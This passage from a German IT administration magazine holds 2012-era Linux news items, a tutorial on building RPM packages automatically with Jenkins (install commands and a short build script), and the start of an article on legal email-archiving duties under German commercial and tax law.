Grundlagenkenntnisse zu Linux und Open Source attestieren 

lassen. Nach Abschluss der Beta-Phase ist die Prüfung Linux 

Essentials ab Juni im Angebot. 

Fedora will Secure Boot und UEFI meistern 

Der Entwickler Matthew Garrett hat einen Plan vorgestellt, der 

die kommende Fedora-Release 18 auf Rechnern mit UEFI und 

Secure Boot zum Laufen bringen soll. Dabei betont der Red-Hat- 

Angestellte, dass er nicht für seinen Arbeitgeber spricht, sondern 

nur den Diskussionsstand des Fedora-Projekts wiedergibt. 

Garrett erwartet, dass mit der Veröffentlichung von Windows 8 

im Herbst 2012 fast alle handelsüblichen Computer Secure Boot 

verwenden werden – auf jeden Fall jene mit vorinstalliertem 

Windows. Mit in der Firmware hinterlegten Schlüsseln stellt das 

System dann sicher, dass nur das vorgesehene Betriebssystem 

starten kann, in diesem Fall Windows 8. 

Es werde zwar die Möglichkeit geben, in der Firmware Secure 

Boot zu deaktivieren oder eigene Schlüssel zu hinterlegen, 

diesen heiklen Eingriff möchte Matt Garrett aber nicht allen 

Fedora-Nutzern zumuten. Ein mögliches Vorgehen für Fedora 

wäre es, selbst einen Schlüssel bei möglichst allen Herstellern 

zu hinterlegen. Das wäre aber sehr aufwändig und würde zudem 

die Wahl der Linux-Distribution auf Fedora einschränken, 

referiert der Entwickler in seinem Blog. 

Daneben besteht eine weitere Möglichkeit, für die sich das 

Fedora-Projekt wahrscheinlich entscheiden wird: Die erste Stufe 

des Linux-Bootloaders von Microsoft signieren zu lassen. Das 

sei über das Systementwickler-Portal des Herstellers für 99 US- 

Dollar möglich. Die erste Stufe soll dann den Linux-üblichen 

Bootloader Grub 2 starten, der den Linux-Kernel lädt. 

Das Prinzip ist einfach, der Teufel steckt aber offenbar im Detail: 

Damit das Secure-Boot-Prinzip wirklich greift, muss auch der 

Linux-Kernel signiert sein, und er darf auch nur signierte Module 

nachladen. Die Grafiktreiber müssen alle aus dem Userspace 

in den Kernel wandern. Garret und Kollegen haben also noch 

einige Arbeit zu leisten. 

Anwender, die einen selbst kompilierten Kernel einsetzen möchten, 

müssten sich vermutlich die Mühe machen, den Betriebssystemkern 

selbst zu signieren und ihre Schlüssel irgendwie 

in die Firmware einzuspielen. Oder sie treten selbst Microsofts 

Entwicklerprogramm bei, um ihren Kernel signieren zu lassen. 

Ansonsten bleibt ihnen nur die Möglichkeit, Secure Boot zu 

deaktivieren. 


News 

Login 

n immer auf http://www.admin-magazin.de ++++ neueste Nachrichten immer auf http://www. 

Linux jetzt auf Microsofts Azure-Cloud 

Mit einem Update der Cloud-Plattform Azure unterstützt 

Microsoft jetzt auch Images für virtualisierte Linux-Systeme. 

Für Kunden stehen dabei die Distributionen Ubuntu 12.04, 

Open Suse 12.1, CentOS 6.2 und Suse Linux Enterprise Server 11 

SP2 zur Auswahl. Die hinter Ubuntu stehende Firma Canonical 

kommentierte das neue Angebot im eigenen Blog wohlwollend. 

Support für das auf Azure installierte Ubuntu Server 12.04 

LTS will Canonical selbst leisten. Für CentOS-Installationen 

außerhalb der Cloud bietet Microsoft bereits länger selbst Support-Leistungen 

an. Kostenpflichtigen Support für das CentOS- 

Angebot auf Azure gibt es von der Firma Openlogic. 

Statt wie bisher Azure nur als Programmier- und Anwendungsplattform 

anzubieten (PaaS), entwickelt sich die Microsoft- 

Cloud nun etwas mehr in Richtung Infrastructure-as-a-Service 

(IaaS), bei dem Kunden, ähnlich wie bei der Amazon-Cloud, 

komplette Betriebssysteme virtualisieren. 

RHEL 6.3 erschienen 

Red Hat hat mit der Version 6.3 ein neues Release seines Red 

Hat Enterprise Linux (RHEL) veröffentlicht. Das Minor Release 

bringt zahlreiche Verbesserungen und Fehlerkorrekturen sowie 

neue Treiber für viele Peripheriegeräte, aber auch neue Features. 

Zu den Neuerungen zählen die aktuellste Open-Source-Version 

von Java im OpenJDK 7. Neu ist auch ein Virt-P2V-Tool das ein 

physisches RHEL- oder Windows-System in einen KVM-Gast 

konvertiert. Außerdem kann ein Gast nun 160 statt zuvor nur 64 

virtuelle CPUs verwenden. LVM unterstützt neuerdings auch die 

RAID-Level 4, 5, und 6 und vereint alle Managementfunktionen 

in einem User-Interface. 

Open Suse überdenkt Release-Prozess 

Open Suses Release-Manager Stephan Kulow hat die Projektmitglieder 

der Linux-Distribution informiert, dass sich die für 

Mitte Juli geplanten Termine für Version 12.2 nicht halten 

lassen. In seiner E-Mail [http://lists.opensuse.org/opensuse‐factory/ 

2012‐06/msg00468.html] schreibt Kulow, die derzeitige Verspätung 

sei eine gute Gelegenheit, den Release-Prozess zu überdenken. 

Die gewachsene Anzahl der Pakete im Factory-Zweig habe neue 

Prob leme mit Abhängigkeiten gebracht, fährt er fort: Nie habe 

es in der Entwicklung von Open Suse 12.2 weniger als 100 Pakete 

mit dem Status „rot“ gegeben. 

Kulow regt daher an, mehr Mitarbeiter in die Integrationsarbeit 

einzubeziehen. Zudem soll es mehr Staging-Projekte geben, die 

Software zur Reife bringen, und weniger Entwicklungsprojekte. 

Als Konsequenz des gestiegenen Aufwands schlägt er vor, entweder 

die festen Release-Termine abzuschaffen oder nur noch 

einmal im Jahr einen neue Version zu veröffentlichen. Er lädt 

die Community zu einer offenen Diskussion ein, um eine neue 

Vorgehensweise zu entwickeln. 

Jos Poortvliet, Community-Manager von Open Suse, spricht im 

Zusammenhang mit den kaputten Paketen von einem Broken- 

Window-Problem: Je mehr bereits kaputt sei, desto weniger 

kümmerten sich die Leute darum. 

Linux-Server 

Das Administrationshandbuch 

Linux Hochverfügbarkeit 

Einsatzszenarien und Praxislösungen 

Dell setzt auf ARM-Server 

Computerhersteller Dell hat mit Tests für Betriebssysteme und 

Anwendungen auf ARM-Servern begonnen. Ein Server-Modell 

namens Copper [http://content.dell.com/us/en/enterprise/d/campaigns/ 

project‐copper.aspx] sei an ausgewählte Kunden bereits ausgeliefert, 

heißt es in einer Mitteilung des Unternehmens. Zu diesen 

Kunden zählen Canonical und 

Cloudera. Zum Test gibt es einen 

Remote-Zugang zu Dells 

Copper-Serverclustern. 

Dell sieht die Nachfrage nach 

ARM-Installationen in den 

Bereichen Web-Frontend- und 

Hadoop-Umgebungen steigen. 

Die meisten Lösungen seien 

im Open-Source- und im nichtoperativen 

Umfeld verfügbar, 

heißt es weiter, deshalb wolle 

Steve Cumings vom Dell Data Center Dell die Weiterentwicklung 

Solutions präsentiert das Projekt dieses Partnersystems unterstützen. 

Copper. 

1008 S., 2., akt. und erw. Auflage, 49,90 € 

» www.GalileoComputing.de/3051 

Admin-Know-how 

Apache 2.4 

Das umfassende Handbuch 

1024 S., 2012, mit DVD, 49,90 € 


454 S., 2011, mit DVD, 49,90 € 


www.GalileoComputing.de 

LPIC-1 

545 S., 2012, mit DVD, 34,90 € 



Admin 

13 


Wissen, wie’s geht.

Login 

Admin-Story 

© Florin Rosu, Fotolia 

Continuous Integration mit Jenkins 

Dienstbarer 

Geist 

Den neu geschriebenen Programmcode zu übersetzen und zu testen, ist 

eine Sache. Das Ganze dann aber auch noch in ein RPM-Paket zu gießen, 

um die Software sauber auf den Test-Systemen zu installieren, eine ganz 

andere. Jenkins hilft, diese Arbeit zu minimieren. Thorsten Scherf 

Ob Entwickler ihre Arbeit oft und frühzeitig 

in ein Versionskontrollsystem 

(VCS) wie beispielsweise Subversion 

oder Git einchecken sollen oder nicht, ist 

Gegenstand hitziger Diskussionen. Die 

Gegner führen an, dass hierdurch möglicherweise 

die Arbeit anderer Entwickler 

erschwert wird, da ja nicht immer sichergestellt 

ist, dass der eingecheckte Code 

auch funktioniert beziehungsweise die 

Software sich überhaupt noch übersetzen 

lässt. Die Befürworter halten entgegen, 

dass sich neuer Code immer schwieriger 

integrieren lässt, je größer und umfangreicher 

der neue Commit wird. Kleine, 

aber zahlreiche Code-Häppchen sollen 

hier also sicherstellen, dass ein möglicher 

Fehler früh erkannt wird und dieser sich 

somit schnell beheben lässt. 

Das Ganze kann aber natürlich nur dann 

funktionieren, wenn jemand die vielen 

neuen Code-Häppchen auch regelmäßig 

testet, sobald diese im Software-Repository 

auftauchen. Nur dann ist sichergestellt, 

dass Fehler zeitnah und somit 

auch einfach zu beheben sind. Wieso 

also nicht einfach jemanden einstellen, 

der den lieben langen Tag nichts anderes 

macht, als neu eingecheckten Code zu 

übersetzen, zu verifizieren und dann auf 

mögliche Fehler hinzuweisen? Diese neue 

Ressource würde noch nicht einmal einen 

Gehaltsscheck verlangen, denn die Rede 

ist von Jenkins, dem Butler – einigen 

vielleicht auch noch unter dem Namen 

Hudson bekannt. 

Jenkins, geb. Hudson 

Jenkins [1] ist eine webbasierte Java- 

Anwendung, die in jedem modernen 

Servlet-Container läuft, wie beispielsweise 

Tomcat oder Jboss. Das Tool bringt 

jedoch auch mit Winstone einen eigenen, 

minimalen Container mit. Somit besteht 

nicht zwingend die Notwendigkeit, einen 

zusätzlichen Webcontainer zu installieren, 

sollte dieser nicht bereits vorhanden 

sein. Jenkins unterstützt eine ganze Reihe 

von Buildtools und integriert sich nahtlos 

in Versionskontrollsysteme wie beispielsweise 

Subversion. Dank der modularen 

Struktur von Jenkins lässt sich dessen 

Funktionsumfang sehr stark erweitern. 

So existieren beispielsweise Plugins für 

das Einbinden von weiteren Buildtools 

oder Versionskontrollsystemen. 

Durch regelmäßige Abfragen des konfigurierten 

VCS kann Jenkins sehr schnell 

feststellen, ob neuer Code in das Repository 

eingecheckt wurde. Sollte dies der 

Fall sein, so wird dieser ausgecheckt, und 

Jenkins ruft das konfigurierte Build-Tool 

auf, um den neuen Code schließlich zu 

übersetzen. Zusätzlich ist Jenkins natürlich 

auch in der Lage, beliebige andere 

Aktionen auf den neuen Code anzuwenden. 

Hierzu zählt beispielsweise das 

Bauen von einem neuen RPM-Paket auf 

Basis des neuen Programmcodes. 

Grüße von Chuck Norris 

Wer das Chuck-Norris-Plugin installiert 

hat, der bekommt im Erfolgsfall das passende 

Thumbsup zu sehen (Abbildung 1), 

sonst gibt Jenkins eine einfache Erfolgsmeldung 

aus. Die Build-Ergebnisse, auch 

Artefakte genannt, bewahrt Jenkins dabei 

auf Wunsch auf. Das ist ganz nützlich, 

wenn man diese nicht durch den nächsten 

Buildprozess wieder überschreiben 

möchte. Der Aufruf eines automatischen 

Testtools, wie beispielsweise JUnit, stellt 

dann schließlich sicher, dass der neue 

Build auch funktionell die gewünschten 

Abbildung 1: Der Build war erfolgreich? Chuck Norris 

bedankt sich mit einem Thumbsup. 


Admin-Story 

Login 

einfach als RPM-Revision. Der Header 

im Spec-File kann somit beispielsweise 

folgende Zeilen enthalten: 

Name 

: foo 

Summary 

: foo application 

Version : 42 

Release 

: %{?BUILD_NUMBER} 

Abbildung 2: Mit Jenkins lassen sich unterschiedlichste Software-Projekte managen. 

Ergebnisse liefert. Mögliche Fehler zeigt 

Jenkins auch direkt an und kann auf 

Wunsch auch per E-Mail oder einen RSS- 

Feed darüber informieren. 

Installation 

Um Jenkins nun zu verwenden, ist zuerst 

einmal das entsprechende Software- 

Repository einzubinden: 

# sudo wget ‐O /etc/yum.repos.d/jenkins.U 

repo http://pkg.jenkins‐ci.org/redhat/U 

jenkins.repo 

# sudo rpm ‐‐import http://pkg.jenkins‐ci.U 

org/redhat/jenkins‐ci.org.key 

# sudo yum install ‐y jenkins 

# sudo /etc/init.d/jenkins start 

Für nicht RPM-basierte Distributionen 

steht auf der Jenkins-Projektseite ein entsprechendes 

War-Archiv zur Verfügung. 

Im Anschluss lauscht Jenkins auf Port 

8080 auf eingehende Requests. Ruft 

man die Seite nun also im Webbrowser 

auf, steht auf der linken Seite ein Auswählmenü 

zur Verfügung. Um ein neues 

Projekt anzulegen, wählt man hier dann 

»New Job« aus. Über den Menüpunkt 

»Build a freestyle Software project« (Abbildung 

2) gelangt man dann schließlich 

in den eigentlichen Konfigurationsdialog. 

Hier ist das Versionskontrollsystem, das 

Build-Tool und optional das Test-Tool zu 

spezifizieren. Für das automatische Erzeugen 

von RPM-Pakten, um das es hier 

geht, benutze ich das einfache Skript in 

Listing 1. Es ist als Build-Tool in Jenkins 

einzutragen und stößt den entsprechenden 

RPM-Build an (Abbildung 3). 

Das Ganze setzt natürlich voraus, dass 

der Subversion-Checkout in einem Unterordner 

»foo« erfolgt. Diese Info kann 

ich Jenkins mit übergeben. Hier sollten 

dann neben dem RPM-Spec-File und dem 

Build-Skript natürlich alle Dateien liegen, 

die in das RPM zu integrieren sind. Um 

ebenfalls ein sauberes SRPM zu erhalten, 

wird aus den Sourcen noch ein Archiv 

gebaut, welches mit in das SRPM einfließt. 

Die For-Schleife erzeugt dann im 

Projektordner unterhalb von »/var/lib/ 

jenkins/workspace/« eine entsprechende 

RPM-Buildstruktur. 

Makros definiert 

Damit der Aufruf von »rpmbuild« auch 

tatsächlich funktioniert, muss das Tool 

wissen, dass seine Build-Umgebung jetzt 

im Jenkins-Projektordner liegen soll. 

Diese Information kann ich beim Aufruf 

mittels des »topdir«-Makros zwar mit angeben, 

eleganter ist es jedoch, diese Info 

einfach mit in das Spec-File aufzunehmen. 

Im Header der Datei definiere ich 

hierfür einfach zwei neue Makros, die ich 

dann im weiteren Verlauf der Spec-Files 

verwenden kann: 

%define _topdir %(echo `pwd`) 

%define BUILD_NUMBER %(echo $SVN_REVISION) 

»BUILD_NUMBER« bezieht sich auf die 

SVN-Revision. Hierfür stellt Jenkins netterweise 

eine entsprechende Variable zur 

Verfügung. Von diesen Variablen kennt 

Jenkins eine ganze Menge, die Dokumentation 

[2] stellt eine ganze Liste davon 

zur Verfügung. Die »BUILD_NUMBER« 

verwende ich im RPM-Spec-File dann 

Der Autor 

Thorsten Scherf arbeitet als Senior Consultant für 

Red Hat EMEA. Er ist oft als 

Vortragender auf Konferenzen 

anzutreffen. Wenn neben 

Arbeit und Familie noch 

Zeit bleibt, nimmt er gerne 

an Marathonläufen teil. 

Durch den Aufruf von »Build Now« oder 

durch einen neuen Checkin ins Repository, 

wird der Build angestoßen. Hat alles 

geklappt, sollte das neu gebaute RPM- 

Paket im Jenkins-Projektverzeichnis im 

Unterorder RPMS zu finden sein. Jenkins 

stellt eine Reihe von unterschiedlichen 

URLs zur Verfügung, mit denen man beispielsweise 

auch auf das zuletzt erzeugte 

RPM-Paket referenzieren kann. Eine solche 

URL könnte dann wie folgt lauten: 

http://localhost:8080/job/U 

foo‐jenkins‐project/lastSuccessfulBuild/ 

Eine Übersicht sämtlicher URLs und RSS- 

Feeds stellt Jenkins auf der Projektseite 

zur Verfügung. Dort ist auch eine entsprechende 

Grafik zu finden, die einen Build- 

Trend für das Projekt anzeigt. Hoffentlich 

scheint dort meist die Sonne. 

An dieser Stelle sind dann natürlich 

jede Menge weitere Aktionen möglich. 

Beispielsweise könnte man das soeben 

erzeugte RPM automatisch auf einen 

Spacewalk-Server laden, um es von dort 

auf die Test-Systeme zu deployen. Jenkins 

bietet hier noch viele Möglichkeiten 

– nicht zuletzt durch die vielen nützlichen 

Plugins. (cth/ofr) 

n 

Infos 

[1] Jenkins-Projektseite: [https:// wiki. 

jenkins‐ci. org/] 

[2] Jenkins-Dokumentation: [https:// 

wiki. jenkins‐ci. org/ display/ JENKINS/ 

Building+a+software+project] 

Listing 1: »build.sh« 

01 tar cfz foo.tar.gz foo/* ‐‐exclude="*.spec" ‐‐exclude 

".svn" ‐‐exclude="build.sh" 

02 

03 for dir in BUILD RPMS SOURCES SPECS SRPMS 

04 do 

05 [[ ‐d $dir ]] && rm ‐Rf $dir 

06 mkdir $dir 

07 done 

08 

09 cp foo/foo.spec SPECS/ 

10 mv foo.tar.gz SOURCES/ 

11 rpmbuild ‐ba SPECS/foo.spec 


Admin 


17

Login 

Mail-Archivierung 

© bilderbox, Fotolia 

Archivierungspflicht für E-Mails 

Ablageordnung 

Welche Aufbewahrungspflichten gelten für E-Mails und digitale Dokumente? Sind alle E-Mails zu archivieren? 

welche technischen Anforderungen verlangt das Gesetz? Vilma Niclas 

E-Mails haben in vielen Bereichen den 

herkömmlichen Geschäftsbrief oder das 

Fax abgelöst. Für die Geschäftspost waren 

Eingangsstempel und eine ordentliche 

Ablage selbstverständlich. Was 

vielleicht noch nicht ebenso selbstverständlich 

ist: Auch E-Mail-Postfächer sind 

entsprechend zu organisieren. Bestimmte 

E-Mails und digitale Dokumente sind eine 

Zeit lang geordnet aufzubewahren. Eine 

digitale Ablage samt Index ist Vorschrift 

(Technische Einzelheiten diskutiert ein 

weiterer Beitrag dieser Ausgabe). 

Form follows function 

Entscheidend für die Frage, ob ein Dokument 

archiviert werden muss oder nicht, 

ist dessen Inhalt. Für Mails gelten grundsätzlich 

identische gesetzliche Vorgaben 

wie für herkömmliche Unterlagen auf 

Papier. Aufbewahrungspflichten ergeben 

sich aus der Abgabenordnung (AO), dem 

Handelsgesetzbuch (HGB) und dem Umsatzsteuergesetz. 

In § 257 HGB heißt es 

unter anderem: „Jeder Kaufmann ist verpflichtet, 

die folgenden Unterlagen geordnet 

aufzubewahren. […] 2. die empfangenen 

Handelsbriefe, 3. Wiedergaben der 

abgesandten Handelsbriefe….“ Handelsbriefe 

sind all diejenigen Schriftstücke, 

die ein Handelsgeschäft betreffen, etwa 

ein Angebot und dessen Annahme per E- 

Mail oder die Rückabwicklung oder Kündigung 

eines Vertrages. Angebote, die zu 

einem Vertragsschluss führen, Auftragsbestätigungen, 

Rechnungen, Kündigungen, 

Reklamationen oder Zahlungsbelege 

sind zu archivieren, unabhängig davon, 

ob diese digital oder auf Papier anfallen. 

Werbesendungen fallen nicht darunter, 

solange diese nicht zum Geschäftsabschluss 

führen. Im Zweifel kommt es auf 

den Einzelfall an. 

Paragraf 147 AO, eine Vorschrift aus dem 

Steuerrecht, regelt weitere Ordnungsvorschriften 

für die Aufbewahrung von Auftragsbestätigungen, 

Rechnungen oder E- 

Mails. Diese Vorschrift gilt anders als das 

Handelsgesetzbuch nicht nur für Kaufleute, 

sondern auch für Freiberufler und 

andere gewerblich Tätige. Die Vorschrift 

verlangt, alle sonstigen Unterlagen, soweit 

sie für die Besteuerung von Bedeutung 

sind, aufzubewahren. Die Grenze ist 

fließend und es dürfte in der Praxis nicht 

leicht fallen, in der Flut der E-Mails täglich 

Wichtiges von Unwichtigem zu trennen. 

Man sollte daher eher mehr als zu 

wenig archivieren. Auch E-Mail-Anhänge, 

etwa Vertragsentwürfe können entscheidend 

sein, weshalb sie mit ins Archiv 

gehören. Viele Unternehmer haben sich 

dafür entschieden, sämtliche eingehenden 

und ausgehenden E-Mails mit einem 

Index zu versehen und vollständig zu 

archivieren, noch bevor der Mitarbeiter 

einzelne E-Mails löschen kann. 

Was Mails beweisen 

Gelten E-Mails als Beweismittel? Selbst 

ohne diese gesetzlichen Pflichtvorgaben 

zur Archivierung tut man gut daran, 

E-Mails und digitale Dokumente eine gewisse 

Zeit lang geordnet aufzubewahren. 

Dies gilt besonders, wenn es um E-Mails 

geht, die einen Vertragsschluss vorbereiten 

oder den Inhalt eines Vertrages dokumentieren. 

Es ist möglich, einen Vertrag 

digital ohne handschriftliche Unterschrift 

rechtsverbindlich zu schließen. Ein Angebot 

per E-Mail und die entsprechende 

Antwort des Geschäftspartners, die ein 

„Ja“ enthält oder die Bitte Ware zuzusenden 

oder die Dienstleistung zu erbringen, 

reichen in der Regel. Ein unterschriebenes 

Dokument ist nur für bestimmte Geschäfte 

nötig, etwa bei einer Bürgschaft, 

Kündigung des Arbeitsverhältnisses oder 



Login 

einem Grundstückskaufvertrag. Sollte das 

Gesetz ausnahmsweise die eigenhändige 

Unterschrift für eine bestimmte Erklärung 

vorschreiben, ist es mittlerweile möglich, 

diese durch die sogenannte elektronische 

Form zu ersetzen, die § 126 a BGB regelt. 

Das bedeutet: Der Absender muss 

der Erklärung seinen Namen hinzufügen 

und das elektronische Dokument mit einer 

qualifizierten elektronischen Signatur 

nach dem Signaturgesetz versehen. 

Das Problem unsignierter Verträge ist: 

Die Dateien sind leicht zu manipulieren 

und eine ordnungsgemäße Ablage erfolgt 

selten. Dies führt dazu, dass einfache 

E-Mails und Dateien vor Gericht keinen 

hohen Stellenwert genießen. Wer einem 

Richter einen schriftlichen Vertrag mit 

eigenhändigen Unterschriften vorlegt, 

setzt im Streitfall sein Recht wesentlich 

einfacher durch als mit einer ausgedruckten 

E-Mail. 

Nicht vertrauenswürdig 

Ein Beispiel: Bei einem Gebot auf eine 

Internet-Auktion für eine goldene Herrenarmbanduhr 

sollte diese der angebliche 

Käufer zu einem Preis von 18 000,- DM 

ersteigert haben. Er wollte nicht zahlen 

und bestritt, die Uhr ersteigert zu haben. 

Den Vertragsschluss konnte der Verkäufer 

nicht beweisen. Er blieb trotz erfolgreicher 

Auktion auf der Uhr sitzen und erhielt 

den Kaufpreis nicht, der ihm eigentlich 

zugestanden hätte. Das OLG Köln am 

06. September 2002 (AZ: 19 U 16/02): 

© Feng Yu, 123RF 

Abbildung 1: Eine indizierte Ablage ist auch für E-Mails Pflicht. 

Der Empfänger einer E-Mail könne nicht 

darauf vertrauen, dass eine E-Mail tatsächlich 

vom Inhaber der E-Mail- Adresse 

stamme, da der Sicherheitsstandard im 

Internet nicht ausreichend sei. Man sollte 

also immer damit rechnen, dass die einfache 

nicht signierte E-Mail im Gerichtssaal 

nur Indizcharakter hat und einen 

weitaus geringeren Beweiswert als ein 

unterschriebenes Blatt Papier. 

Qualifiziert signierte 

E-Mails 

Kommt es hart auf hart, und bezweifelt 

der Gegner die Echtheit einer E-Mail und 

legt gegenteilige Indizien auf den Tisch, 

ist die Erfolgsaussicht ohne zusätzliche 

Zeugen oder ohne qualifizierte elektronische 

Signatur schlecht. Zwar ist es schon 

seit 2001 möglich, E-Mails rechtssicher 

zu signieren. Aber leider hat sich das in 

der Praxis bis heute nicht durchgesetzt. 

Schuld daran sind die hohen jährlichen 

Kosten und die unterschiedliche Software 

bei Empfänger und Absender. Für eine 

elektronische Signatur muss der Aussteller 

der Erklärung seinen Namen hinzufügen 

und das elektronische Dokument 

mit der qualifizierten elektronischen Signatur 

nach dem Signaturgesetz signieren 

(§ 126 a BGB iVm, § 2 Nr. 3 Signaturgesetz), 

also mit einem kryptographischen 

Schlüssel versehen. So signierte E-Mails 

sind Privaturkunden in ihrem Beweiswert 

vor Gericht mehr oder weniger gleichgestellt 

(§ 371 a ZPO). Man geht von 

der Vermutung aus, dass die E-Mail mit 

diesem Inhalt tatsächlich vom Absender 

stammt, solange der Gegner den Anschein 

nicht durch ernst zu nehmende 

Tatsachen erschüttert. 

Das deutsche Signaturgesetz kennt 

verschiedene Arten der elektronischen 

Signaturen: die einfache, die fortgeschrittene 

sowie die qualifizierte elektronische 

Signatur. Die einfache Signatur ist nichts 

weiter als die Namensnennung des Absenders 

in der E-Mail. Sie bewirkt keinen 

zusätzlichen Beweiswert vor Gericht. Authentizität 

und Integrität sind durch diese 

Unterschrift nicht gewährleistet. Die 

fortgeschrittene Signatur gewährleistet, 

dass das Dokument unverändert beim 

Empfänger ankommt. Da jedermann beliebige 

Signaturschlüssel erzeugen kann, 

gewährt eine solche Signatur jedoch 

keine Authentizität. 

Statt Unterschrift 

Nur die qualifizierte elektronische Signatur 

bringt zusätzliche Gewissheit über 

den Absender. Damit lässt sich die eigenhändige 

Unterschrift ersetzen. Man 

erzeugt sie mithilfe eines privaten kryptografischen 

Schlüssels. Mit dem öffentlichen 

Schlüssel kann der Empfänger die 

Unterschrift prüfen und feststellen, ob 

die Daten unverfälscht sind. Staatlich 

anerkannte Anbieter ordnen das Schlüsselpaar 

mit privatem und öffentlichem 

Schlüssel fest zu und beglaubigen dies 

durch ein Zertifikat. Dabei handelt es sich 

um ein signiertes digitales Dokument, 

das den öffentlichen Schlüssel sowie den 

Namen der jeweiligen Person enthält. 

Das Zertifikat ist im Internet abrufbar. 

Mit der qualifizierten elektronischen 

Signatur kann jedermann einfach und 

schnell rechtsverbindlich und beweisbar 

Verträge schließen, die auch im Gerichtssaal 

einen hohen Wert haben. Vielleicht 

tragen DE-Mail oder der elektronische 

Personalausweis dazu bei, die Akzeptanz 

der elektronischen Signatur zu erhöhen. 

Dies wird aber vermutlich nur gelingen, 

wenn man die qualifizierte elektronische 

Signatur für weniger als etwa 60 Euro/ 

Jahr nutzen kann. 

Wer die qualifizierte elektronische Signatur 

nicht nutzen will oder kann, der 

sollte wichtige Verträge zusätzlich per 

Fax versenden oder sich beim nächsten 


Admin 


19

Login 


persönlichen Geschäftstreffen den E- 

Mail-Verkehr, etwa die Mail mit der Auftragsbestätigung 

gegenzeichnen lassen. 

Wie lange ist zu 

archivieren? 

Für einige Inhalte gilt eine zehnjährige 

Archivierungspflicht, wie für Inventare, 

Jahresabschlüsse, Buchungsbelege oder 

Rechnungen. Die empfangenen und versandten 

Handels- oder Geschäftsbriefe 

sind sechs Jahre aufzubewahren, ebenso 

wie die sonstigen Unterlagen, die für die 

Besteuerung von Bedeutung sein können. 

Die Fristen beginnen jeweils mit 

dem Ende des Kalenderjahres, in dem das 

Dokument zustande kam. Am leichtesten 

ist es, alle Daten einheitlich zehn Jahre 

zu archivieren. Darüber hinaus sind bei 

Vertragsabschlüssen oder Schadensersatzforderungen 

die gesetzlichen Verjährungsfristen 

zu beachten, die je nach 

Vertragstyp und Anspruchsgrundlage 

unterschiedlich lang sind, etwa die zweioder 

fünfjährige Gewährleistungsfrist 

bei Kauf- oder Werkverträgen oder die 

regelmäßige dreijährige Verjährungsfrist. 

Zum Teil beträgt die Verjährungsfrist bis 

zu 30 Jahre. 

Die Praxis 

Abbildung 2: Für das Archivieren von Rechnungen gelten noch einmal besondere Vorschriften. 

Trotz dieser klaren Verpflichtungen im 

HGB, in der Abgabenordnung und dem 

Umsatzsteuergesetz und dem hohen eigenen 

Interesse an einer Archivierung 

löschen viele unbedacht alte E-Mails, 

wenn das Speichervolumen des Postfaches 

ausgeschöpft ist oder legen sie gar 

nicht erst ab. Auch fehlen für die Ablage 

oft Vorgaben. Zudem werden komplette 

E-Mail-Accounts von ausgeschiedenen 

Mitarbeitern oft nicht archiviert oder sie 

sind mangels Passwörtern nicht zugänglich. 

Für ausgeschiedene Mitarbeiter 

sollten die Passwörter vorhanden sein, 

um weiterhin Zugang zu den E-Mails 

zu haben. 

Für den Einblick in E-Mails im Unternehmen 

und die Archivierung ist es 

sehr erheblich, ob private E-Mails im 

Unternehmen erlaubt sind oder nicht. 

Sind sie erlaubt und mischen sich mit 

geschäftlicher Korrespondenz kann dies 

dazu führen, dass der Chef nur noch 

eingeschränkt Einblick in die geschäftlichen 

E-Mail-Konten der Mitarbeiter hat, 

da er aufgrund der privaten Korrespondenz 

strengeren Datenschutzvorschriften 

unterliegt. Er ist dann nicht berechtigt, 

den kompletten E-Mail-Verkehr zu 

archivieren. Mitarbeiter sollten daher 

deutlich Privates und Geschäftliches 

trennen und klare Handlungsanweisungen 

vom Geschäftsführer erhalten. Mitarbeiter 

sollten für private Mails besser 

Webmail oder einen privaten Account 

im Unternehmen nutzen, der nicht archiviert 

wird. Die Augen vor dem Problem 

zu verschließen, und die private 

Nutzung ohne weitere Regelungen zu 

dulden, ist eine für den Arbeitgeber sehr 

nachteilige Lösung. 

Ausdrucken reicht nicht 

Neben den Vorgaben zur Archivierungspflicht, 

die für Unterlagen auf Papier und 

im E-Mail-Postfach gleichermaßen gelten, 

gibt es in der Abgabenordnung (§ 147 

Absatz 2 und 5) und in § 14 und § 14 b 

Umsatzsteuergesetz sowie im HGB zusätzliche 

Anforderungen an elektronische 

Rechnungen und an die Art und Weise 

der Aufbewahrung digitaler Dateien. Zur 

Form der Archivierung besagt § 147 Absatz 

2 AO: 

„Die erwähnten Unterlagen können auch 

als Wiedergabe auf einem Bildträger oder 

auf anderen Datenträgern aufbewahrt 

werden, wenn dies den Grundsätzen ordnungsgemäßer 

Buchführung entspricht 

und sichergestellt ist, dass die Wiedergabe 

oder die Daten 

1. mit den empfangenen Handels- oder 

Geschäftsbriefen und den Buchungsbelegen 

bildlich und mit den anderen Unterlagen 

inhaltlich übereinstimmen, wenn 

sie lesbar gemacht werden, 

2. während der Dauer der Aufbewahrungsfrist 

jederzeit verfügbar sind, unverzüglich 

lesbar gemacht und maschinell 

ausgewertet werden können.“ 

§ 147 Absatz 5 der AO: 

“Wer aufzubewahrende Unterlagen in der 

Form der Wiedergabe auf einem Bildträger 

oder auf anderen Datenträgern 

vorlegt, ist verpflichtet, auf seine Kosten 

diejenigen Hilfsmittel zur Verfügung zu 

stellen, die erforderlich sind, um die Unterlagen 

lesbar zu machen; auf Verlangen 

der Finanzbehörde hat er die Unterlagen 

unverzüglich ganz oder teilweise auszudrucken 

oder ohne Hilfsmittel lesbare 

Reproduktionen beizubringen.“ 

Das HGB enthält in den §§ 238, 239 

und § 257 ähnliche Formulierungen und 

weist auf die Grundsätze ordnungsmäßiger 

Buchführung hin. Die Buchführung 

muss so beschaffen sein, dass sie einem 

Dritten innerhalb kurzer Zeit einen Überblick 

über die Geschäftsvorfälle und über 

die Lage des Unternehmens vermitteln 

kann. Die Geschäftsvorfälle müssen sich 

in ihrer Entstehung und Abwicklung verfolgen 

lassen. Diese Grundsätze gelten 

auch in der digitalen Welt. Darüber hinaus 

sind die oben genannten Archivierungspflichten 

und die eben erwähnten 

Vorgaben aus dem Handelsgesetzbuch, 

der Abgabenordnung und dem Umsatzsteuergesetz 

konkretisiert in zwei Ver- 

© Bernad, Fotolia 



Login 

waltungsanweisungen aus dem Bundesfinanzministerium, 

in den „Grundsätzen 

zum Datenzugriff und zur Prüfbarkeit 

digitaler Unterlagen“ (GDPdU) und den 

„Grundsätzen ordnungsmäßiger DV-gestützter 

Buchführungssysteme“ (GoBS) 

sowie in den „Fragen und Antworten zum 

Datenzugriffsrecht der Finanzverwaltung“ 

vom 22.01.2009 des BMF. Die GDPdU regeln, 

